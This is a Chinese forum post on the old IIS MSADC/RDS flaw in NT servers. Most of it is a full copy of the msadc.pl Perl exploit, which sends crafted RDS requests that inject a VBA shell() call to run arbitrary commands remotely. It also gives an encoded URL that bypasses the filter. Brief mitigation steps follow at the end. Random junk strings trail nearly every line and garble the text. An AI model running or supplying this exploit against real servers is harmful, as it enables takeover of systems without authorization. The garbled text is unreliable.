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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) z^ aCQ3E  
@b ::6n/u  
涉及程序: ]b0zkoD9<  
Microsoft NT server a!c/5)v(  
q7O,I`KaJ  
描述: @MN}^umx`  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 xE G+%Uk{  
v5&xY2RI7  
详细: vF.?] u  
如果你没有时间读详细内容的话,就删除: ++Rdv0~  
c:\Program Files\Common Files\System\Msadc\msadcs.dll hV3,^#9o  
有关的安全问题就没有了。 c{'$=lR "  
}|Hw0zP.  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 i63`B+L{  
8~&F/C*  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 RJtix uvh@  
关于利用ODBC远程漏洞的描述,请参看: tl{]gz  
Qag|nLoT  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^G|w8t+^  
@K,2mhE~h  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 .;<7424(%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp =gMaaGg p,  
) >>u|#@z  
这里不再论述。 [5]R?bQ0q{  
;eS;AHZ  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: g2[K<  
g)=V#Bglv  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset &q ," !:L]  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 0=N4O!X9  
HO 266M  
7j@^+rkr3f  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Kwy1SyU  
a6;gBoV  
#!perl i:l80 GK  
# + 6x"trC  
# MSADC/RDS 'usage' (aka exploit) script #rhVzN-?)W  
# JiKImz  
# by rain.forest.puppy |x1$b 7  
# 2"T8^r|U  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me R19'| TJ  
# beta test and find errors! c_~XL^B@  
B*9  
use Socket; use Getopt::Std; 0^J*+  
getopts("e:vd:h:XR", \%args); CMC?R,d  
bcq@N  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; -6u H.  
PLO\L W  
if (!defined $args{h} && !defined $args{R}) { zXj>K3M  
print qq~ "AT&!t[J  
Usage: msadc.pl -h <host> { -d <delay> -X -v } l)}<#Ri  
-h <host> = host you want to scan (ip or domain) *}+R{  
-d <seconds> = delay between calls, default 1 second IetCMp  
-X = dump Index Server path table, if available r`?&m3IOP  
-v = verbose ]MC/t5vCu  
-e = external dictionary file for step 5 =ft9T&ciD  
}phz7N9  
Or a -R will resume a command session BfX%|CWh  
YavfjS:2  
~; exit;} ^/G?QR  
^%-NPo<  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; [Dnusp7e  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} A$/KP\0Y2  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} .=?Sz*3  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 7 2`/d`  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} %(fL?  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 0rV/qMo;K  
,xYg  
if (!defined $args{R}){ $ret = &has_msadc; ;F|jG}M"  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} bSQ_"  
h!QjpzQe  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" C=8H)Ef,l  
. "cmd /c "; HS7R lU^  
$in=<STDIN>; chomp $in; ',DeP>'%>  
$command="cmd /c " . $in ; EH(tUwY%{  
4 uShM0qa  
if (defined $args{R}) {&load; exit;} 2%bhW,?I  
%?@x]B9Y8E  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; eDuX"/kHA  
&try_btcustmr; P1$f}K}  
l+oDq'[q"  
print "\nStep 2: Trying to make our own DSN..."; 0"hiCGm'  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; |n)<4%i8J  
T)`gm{T  
print "\nStep 3: Trying known DSNs..."; Tu==49  
&known_dsn; D^N[=q99&e  
ehU"*9  
print "\nStep 4: Trying known .mdbs..."; se!g4XEWD  
&known_mdb; /=bSt  
hX&-/fF+f  
if (defined $args{e}){ jn~!V!+ +  
print "\nStep 5: Trying dictionary of DSN names..."; &ryiG  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } P> |Ef~j  
Il|GCj*N  
print "Sorry Charley...maybe next time?\n"; )q^(T1  
exit; li@k Lh  
Ac J>$L)  
############################################################################## QJQJR/g  
$%B5$+  
sub sendraw { # ripped and modded from whisker Ny]lvgu9X  
sleep($delay); # it's a DoS on the server! At least on mine... !f@XDW&R  
my ($pstr)=@_; ekrBNDs9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _$!`VA%  
die("Socket problems\n"); t]4!{~,  
if(connect(S,pack "SnA4x8",2,80,$target)){ _g65pxt =Z  
select(S); $|=1; ssPI$IRg!  
print $pstr; my @in=<S>; hc"6u\>  
select(STDOUT); close(S); _nP)uU$  
return @in; I-TlrW=t  
} else { die("Can't connect...\n"); }} RFB(d=o5S  
ve6x/ PD  
############################################################################## _Cj(fFL  
Xh`"  
sub make_header { # make the HTTP request gXF.on4B  
my $msadc=<<EOT g(nK$,c  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 b22LT52  
User-Agent: ACTIVEDATA ^zHRSO  
Host: $ip x`#22"m  
Content-Length: $clen _%;M9Sg3  
Connection: Keep-Alive a/:]"`)  
*CzCUu:%t  
ADCClientVersion:01.06 U[bgu#P;  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 BO]=vH  
ZOC#i i`:  
--!ADM!ROX!YOUR!WORLD! ZzT&$J7]`{  
Content-Type: application/x-varg Tn /Ut}]O  
Content-Length: $reqlen }DbE4"^K7  
YroNpu]s  
EOT s+'XQs^{aj  
; $msadc=~s/\n/\r\n/g; vcwK6G  
return $msadc;} _!%M%  
IKo;9|2U  
############################################################################## SYeE) mI  
Ox~ 9_d  
sub make_req { # make the RDS request bb}?h]a   
my ($switch, $p1, $p2)=@_; ljuNs@q  
my $req=""; my $t1, $t2, $query, $dsn; 5y040 N-  
qfa}3k8et  
if ($switch==1){ # this is the btcustmr.mdb query GZ"&L?ti  
$query="Select * from Customers where City=" . make_shell(); mbGcDG[HQ  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . p&\K9hfi  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} bs BZ E  
6< >SHw  
elsif ($switch==2){ # this is general make table query ]Z/R!y?l"G  
$query="create table AZZ (B int, C varchar(10))"; Nq_A8Ph9  
$dsn="$p1";} /'\;8A$J`  
HA1]M`&  
elsif ($switch==3){ # this is general exploit table query K\aAM;)-  
$query="select * from AZZ where C=" . make_shell(); Xo8DEr  
$dsn="$p1";} ol<lCp  
xD4$0Ppu  
elsif ($switch==4){ # attempt to hork file info from index server |AC6sfA+  
$query="select path from scope()"; 06jMj26!  
$dsn="Provider=MSIDXS;";} Wy.";/C  
5j`v`[B;  
elsif ($switch==5){ # bad query aHC%19UN  
$query="select"; ULIFSd Y  
$dsn="$p1";} R^6Zafp  
2f^-~dz  
$t1= make_unicode($query); J.W Ho c  
$t2= make_unicode($dsn); [%?y( q  
$req = "\x02\x00\x03\x00"; :!']p2B  
$req.= "\x08\x00" . pack ("S1", length($t1)); vd(dNu&,<  
$req.= "\x00\x00" . $t1 ; Zih ?Bm  
$req.= "\x08\x00" . pack ("S1", length($t2)); :3 y_mf>  
$req.= "\x00\x00" . $t2 ; C\A49q  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; !k-` eJ|  
return $req;} n,sY\=vB  
# 66e@  
############################################################################## vhpvO >Q  
SOj`Y|6^:  
sub make_shell { # this makes the shell() statement B2(,~^39  
return "'|shell(\"$command\")|'";} ^K;hn,R=  
'hF@><sqk  
############################################################################## Sr"/-  
N~| t!G*9  
sub make_unicode { # quick little function to convert to unicode {R8=}Qo  
my ($in)=@_; my $out; :Eo8v$W\RB  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } J=9#mOcg"  
return $out;} Ji A'BEJN  
ZF'HM@cfo  
############################################################################## KuXkI;63J>  
\iga Q\~  
sub rdo_success { # checks for RDO return success (this is kludge) Dft%ip2  
my (@in) = @_; my $base=content_start(@in); P#*n3&Uu  
if($in[$base]=~/multipart\/mixed/){ DEtf(lW_  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} "lrA%~3%[P  
return 0;} ]7vf#1i<  
M BVOfEMj  
############################################################################## rN#\AN  
6pm~sD  
sub make_dsn { # this makes a DSN for us SQE` U  
my @drives=("c","d","e","f"); ]| WA#8_|  
print "\nMaking DSN: "; L;yEz[#xaT  
foreach $drive (@drives) { ]nc2/S%  
print "$drive: "; $"fzBM?5  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . C0(sAF@  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" km4g}~N</  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 9|3o<  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; oIxH3T  
return 0 if $2 eq "404"; # not found/doesn't exist R@n5AN(  
if($2 eq "200") { 8Zw]f-5x\  
foreach $line (@results) { ANb"oX c  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} (}"S) #C  
} return 0;} #HG&[Ywi  
Rcf=J){D6  
############################################################################## S_5?U2%D  
= UUd8,C/  
sub verify_exists { Abf1"#YImy  
my ($page)=@_; OL9]*G?F  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Nf5WQTa4  
return $results[0];} Sn ^Aud  
@yKZRwg  
############################################################################## NjP ]My  
@d)LRw.I  
sub try_btcustmr { O<`,,^4w/  
my @drives=("c","d","e","f"); Mz\yPT;Y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); BSDk9Oc  
^IgS  
foreach $dir (@dirs) { 7E(%9W6P  
print "$dir -> "; # fun status so you can see progress !0Nf9  
foreach $drive (@drives) { G/(*foT8SE  
print "$drive: "; # ditto X HQh4W3  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Ut_mrb+W  
$reqlenlen=length( "$reqlen" ); 6|oWaA\gI  
$clen= 206 + $reqlenlen + $reqlen; k/bque  
!qaDn.9  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); |[ocyUsxX  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} oZ-FF'  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ~d>uXrb  
9v$qrM`8  
############################################################################## HEpM4xe$  
5qiI.)  
sub odbc_error { IfB/O.;Kz  
my (@in)=@_; my $base; 5m`[MBt2g  
my $base = content_start(@in); ^K.*.|  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this n.Vtc-yZU  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; E*^ 9|Y[  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; R'Eq:Rv~;^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]ViOr8u  
return $in[$base+4].$in[$base+5].$in[$base+6];} DM'qNgB7  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; *:j-zrwu&  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . @?d?e+B  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} x;mJvfX  
AWL[zixR  
############################################################################## 8T7f[?  
?} X}#  
sub verbose { B0"0_n7-  
my ($in)=@_; 8 ?" Ze(  
return if !$verbose; _25d%Ne0  
print STDOUT "\n$in\n";} VY_f =  
ig$jKou F  
############################################################################## 8sWr\&!  
zHqhl}  
sub save { `I{tZ$iD  
my ($p1, $p2, $p3, $p4)=@_; ZMe}M!V  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; /sV?JV[t  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; b"&E,=L  
close OUT;} k#?| yP:  
W]@6=OpH  
############################################################################## yXrd2?Rq@  
5Edo%Hd6  
sub load { T*R{L  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; h(|;\~  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 7dHIW!OA  
@p=<IN>; close(IN); wsI5F&R,  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); C rfRLsN]  
$target= inet_aton($ip) || die("inet_aton problems"); Bi XTC$Oi  
print "Resuming to $ip ..."; }biCQ*{'  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ez+yP,.#  
if($p[1]==1) { EP(Eq  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0:#7M}U  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ]$|st^Q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); j6}$+!E  
if (rdo_success(@results)){print "Success!\n";} E$R_rX4x  
else { print "failed\n"; verbose(odbc_error(@results));}} q^%5HeV 2  
elsif ($p[1]==3){ a-:pJE.'p  
if(run_query("$p[3]")){ 1EuK, :x  
print "Success!\n";} else { print "failed\n"; }} Qi"'bWX@  
elsif ($p[1]==4){ T1bFxim#b  
if(run_query($drvst . "$p[3]")){ ~Zu}M>-^c,  
print "Success!\n"; } else { print "failed\n"; }} ?jFc@t*\:  
exit;} Y!aLf[x]  
9j2\y=<&  
############################################################################## ^7<[}u;qF  
$^ubo5%  
sub create_table { g*28L[Q~  
my ($in)=@_; OSj%1KL  
$reqlen=length( make_req(2,$in,"") ) - 28; 1MpX] j8C#  
$reqlenlen=length( "$reqlen" ); C-&#r."L  
$clen= 206 + $reqlenlen + $reqlen; (]}XLMi,|!  
my @results=sendraw(make_header() . make_req(2,$in,"")); @T_O6TcY  
return 1 if rdo_success(@results);  J(^ >?d'  
my $temp= odbc_error(@results); verbose($temp); M",];h(I6(  
return 1 if $temp=~/Table 'AZZ' already exists/; \1~I04'=  
return 0;} \3M1.Q4$Gr  
-h=c=P  
############################################################################## 0T=jR{j!o  
lR, G;  
sub known_dsn { FGDw;lEa9[  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go pL%4= ]m  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", f7S^yA[[  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", (5>{?dR)|  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); roL}lM$  
UUD\bWfn  
foreach $dSn (@dsns) { # .~.UHt  
print "."; '8L(f w{k  
next if (!is_access("DSN=$dSn")); G;Us-IRZ  
if(create_table("DSN=$dSn")){ 1 iquHn  
print "$dSn successful\n"; p FXd4*  
if(run_query("DSN=$dSn")){ Gi;9 S  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #%;<FFu\  
print "Something's borked. Use verbose next time\n";}}} print "\n";} t&8<k+m  
.&Y,D-h}7|  
############################################################################## >\RDQ%z  
!'Gb$l!  
sub is_access { Wn2Ny jX  
my ($in)=@_; {V{0^T-  
$reqlen=length( make_req(5,$in,"") ) - 28; R%qX_m\0  
$reqlenlen=length( "$reqlen" ); 4RlnnXY  
$clen= 206 + $reqlenlen + $reqlen; Z3Bo@`&?  
my @results=sendraw(make_header() . make_req(5,$in,"")); P*}9,VoY  
my $temp= odbc_error(@results); PXOq#  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ^ yY{o/6  
return 0;} ](]*]a4ss  
Mr#oT?  
############################################################################## z<FV1niE  
XCKY xv&  
sub run_query { *Pa2bY3:  
my ($in)=@_; p)K9 ZI  
$reqlen=length( make_req(3,$in,"") ) - 28; ?3.(Vqwog  
$reqlenlen=length( "$reqlen" ); 0G+L1a-  
$clen= 206 + $reqlenlen + $reqlen; BDarJY  
my @results=sendraw(make_header() . make_req(3,$in,"")); "US" `a2  
return 1 if rdo_success(@results); _%AJmt}  
my $temp= odbc_error(@results); verbose($temp); eA3`]XP.`b  
return 0;} fRZUY <t  
=U)n`#6_j2  
############################################################################## 9_g>BI;"8  
WO.}DUfG+  
sub known_mdb { H>gWxJ 5  
my @drives=("c","d","e","f","g"); Q1P,=T@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }rFsU\]:q  
my $dir, $drive, $mdb; ~YR <SV\{  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; HV#?6,U}  
bCJ<=X,g`K  
# this is sparse, because I don't know of many n"K {uj))  
my @sysmdbs=( "\\catroot\\icatalog.mdb", LAu+{'O\  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 6qz!M  
"\\system32\\certmdb.mdb", +MOe{:/6  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% n.;5P {V1  
,qBnqi[  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", n1k$)S$iiy  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 0ECO/EuCg  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", u&l>cJ'  
"\\cfusion\\cfapps\\security\\realm_.mdb", Bd N{[2  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Wo1V$[`Dy  
"\\cfusion\\database\\cfexamples.mdb", ^`hI00u(  
"\\cfusion\\database\\cfsnippets.mdb", pqGf@24c<  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", <:kTTye|  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", c(_oK ?  
"\\cfusion\\brighttiger\\database\\cleam.mdb", q\z=z$VR  
"\\cfusion\\database\\smpolicy.mdb", TnMVHO-  
"\\cfusion\\database\cypress.mdb", SevfxR  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", utFcFd X  
"\\website\\cgi-win\\dbsample.mdb", q7)]cY_  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ~L4*b *W  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" &K}(A{  
); #these are just 0k] ju  
foreach $drive (@drives) { / %U~lr  
foreach $dir (@dirs){ R~x;X3  
foreach $mdb (@sysmdbs) { UG^?a  
print "."; ECE{xoc  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =ihoVA:|  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 7-G'8t  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ c9cphZ(z  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ]C!Y~  
} else { print "Something's borked. Use verbose next time\n"; }}}}} edImrm1f  
nIN%<3U2  
foreach $drive (@drives) { (x@i,Ba@  
foreach $mdb (@mdbs) { c}I8!*\  
print "."; 3ZJagJ\O  
if(create_table($drv . $drive . $dir . $mdb)){ )W}/k$S  
print "\n" . $drive . $dir . $mdb . " successful\n"; 3 DO$^JJ.  
if(run_query($drv . $drive . $dir . $mdb)){ 4 L~;>]7  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 6{Cu~G{]N  
} else { print "Something's borked. Use verbose next time\n"; }}}} !Sy'Z6%f  
} I W] 841  
@e?[oojrM  
############################################################################## 0u&?Zy9&  
.xc/2:m9  
sub hork_idx { ]`i@~Z h\  
print "\nAttempting to dump Index Server tables...\n"; ;o)`9<es!2  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; uX5 --o=C  
$reqlen=length( make_req(4,"","") ) - 28; YK=#$,6  
$reqlenlen=length( "$reqlen" ); luxKgcU  
$clen= 206 + $reqlenlen + $reqlen; [Yahxw}  
my @results=sendraw2(make_header() . make_req(4,"","")); =Gg)GSL^  
if (rdo_success(@results)){ $e t :  
my $max=@results; my $c; my %d; ph&H*Mc  
for($c=19; $c<$max; $c++){ Rp%\`'+Xz  
$results[$c]=~s/\x00//g; 3 Q%k (,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3PR7g  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; m 'H  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; /CQQ^/  
$d{"$1$2"}="";} .T$9Q Ar5  
foreach $c (keys %d){ print "$c\n"; } }AH|~3|D  
} else {print "Index server doesn't seem to be installed.\n"; }} XL&eJ  
$j4?'-i=e  
############################################################################## l<MCmKuYp  
q$2taG}  
sub dsn_dict { H1ui#5n2  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); [\%t<aa  
while(<IN>){ bHH}x"d[x  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; .2SIU4[P  
next if (!is_access("DSN=$dSn")); fdEj#Ux<H  
if(create_table("DSN=$dSn")){ wqoN@d  
print "$dSn successful\n"; YrcC"  
if(run_query("DSN=$dSn")){ }d*sWSPu(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { /:L&uqA  
print "Something's borked. Use verbose next time\n";}}} @_(@s*4W  
print "\n"; close(IN);} & I'F-F;  
>_% g8T'  
############################################################################## Z 7ZMu  
*Lk&@(  
sub sendraw2 { # ripped and modded from whisker 5xV/&N  
sleep($delay); # it's a DoS on the server! At least on mine... I$qtfGr  
my ($pstr)=@_; {]m e?I  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /n}V7  
die("Socket problems\n"); e5\1k#@  
if(connect(S,pack "SnA4x8",2,80,$target)){ S5 oHe4#89  
print "Connected. Getting data"; op{(mn  
open(OUT,">raw.out"); my @in; 2{tJ'3  
select(S); $|=1; print $pstr; =,;3z/k%  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} kK6>>lD'  
close(OUT); select(STDOUT); close(S); return @in; bL#TR;*]  
} else { die("Can't connect...\n"); }} tZ2iSc  
.4)P=*  
############################################################################## 'GO..m"G  
/PuWJPy;  
sub content_start { # this will take in the server headers g/Nj|:3  
my (@in)=@_; my $c; v%e"4:K}?  
for ($c=1;$c<500;$c++) { yBjWPx?  
if($in[$c] =~/^\x0d\x0a/){ DL Q`<aU  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } vK>^#b3  
else { return $c+1; }}} ] ]-0RJ=S?  
return -1;} # it should never get here actually  -~aEqj#?  
x%7x^]$  
############################################################################## 6$;)CO!h  
r?>Hg+  
sub funky { ! \Kh\  
my (@in)=@_; my $error=odbc_error(@in); !|QeYGnq6  
if($error=~/ADO could not find the specified provider/){ %),O9*[9  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \ku{-^7  
exit;} tzN;;h4C  
if($error=~/A Handler is required/){ X~4:sJ\P=  
print "\nServer has custom handler filters (they most likely are patched)\n"; iR=aYT~  
exit;} _$lQK{@rY  
if($error=~/specified Handler has denied Access/){ ^%@.Vvz<  
print "\nServer has custom handler filters (they most likely are patched)\n"; } ~bOP^'  
exit;}} ![n`n(oN  
KO"iauW  
############################################################################## 73`UTXvWU  
|B.d7@{mM  
sub has_msadc { D:,<9%A  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); g >oLc6T  
my $base=content_start(@results); ^;_b!7*  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Agf!6kh  
return 0;} /LzNr0>2  
".Ug A\0  
######################## Or|LyQU  
L  *@>/N  
}y/t~f+  
解决方案: 1OL~)X3  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ?A>-_B  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 t!GY>u>`  
 O(!'V~3  
拿出来充数 哈哈
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